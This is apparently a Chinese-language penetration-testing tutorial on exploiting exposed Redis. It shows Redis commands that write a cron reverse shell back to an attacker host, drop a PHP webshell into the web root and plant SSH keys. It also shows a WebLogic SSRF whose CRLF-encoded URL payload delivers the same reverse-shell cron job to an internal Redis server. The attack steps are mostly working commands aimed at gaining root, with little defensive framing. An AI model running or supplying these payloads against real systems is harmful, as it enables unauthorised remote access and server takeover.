0x1 前言
如果進入內網中發現了redis服務的話就美滋滋了,我們可以利用redis服務定時反彈shell、寫入webshell、寫入ssh公鑰的操作。
0x2 Redis的利用
redis:一個高性能的key-value數據庫。
1. 定時任務反彈shell測試:
啓動redis服務,使用telnet連接:
執行命令:
set x "\n*/1 * * * * bash -i >& /dev/tcp/192.168.221.129/5050 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
遠程開啓監聽,可以看到獲得一個root權限:
2. 寫入webshell測試語句:
前提需要知道web的絕對路徑。
config set dir /var/www/html
config set dbfilename shell.php
set x "<?php phpinfo(); ?>"
Save
3. 寫入SSH公鑰測試:
本地生成RSA公鑰私鑰對,將公鑰通過redis寫入.ssh目錄下的authorized-key文件下,實現ssh免密登錄,前提是目標開啓ssh服務:
0x3 通過SSRF利用Redis
本文以weblogic + Redis爲例,通過console或報錯信息識別站點爲weblogic,測試發現存在ssrf漏洞,測試url爲:
http://192.168.221.134:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.221.134:6379
此處假設redis地址爲內網地址,使用ssrf進行內網IP端口探測發現存在redis服務:
直接利用redis寫入定時反彈shell任務,url如下:
編碼前:
http://192.168.31.78:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business location&btnSubmit=Search&operator=http://192.168.221.134:54675/
set x "\n*/1 * * * * bash -i >& /dev/tcp/192.168.221.129/55555 0>&1\n\n\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
aaa
編碼後:
http://192.168.221.134:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.221.134:54675/%0D%0A%0D%0Aset%20x%20%22%5cn*%2f1+*+*+*+*+bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.221.129%2f55555+0%3e%261%5cn%22%0D%0Aconfig%20set%20dir%20%2Fvar%2Fspool%2Fcron%2F%0D%0Aconfig%20set%20dbfilename%20root%0D%0Asave%0D%0A%0D%0Aaaa
本機監聽併發送payload如下:
得到了root權限的shell:
0x4 結語
- 其他兩種寫入木馬及寫入ssh公鑰同理。
- 針對ssrf漏洞的學習後續還需深入。。。。
- 注意:爲什麼使用http協議訪問redis服務後url後面的指令也能被redis執行呢?payload中最後的請求鏈接中,前面的http請求相當於與redis連接,後面的指令就會當作連接redis後輸入的指令。(應該是這樣吧)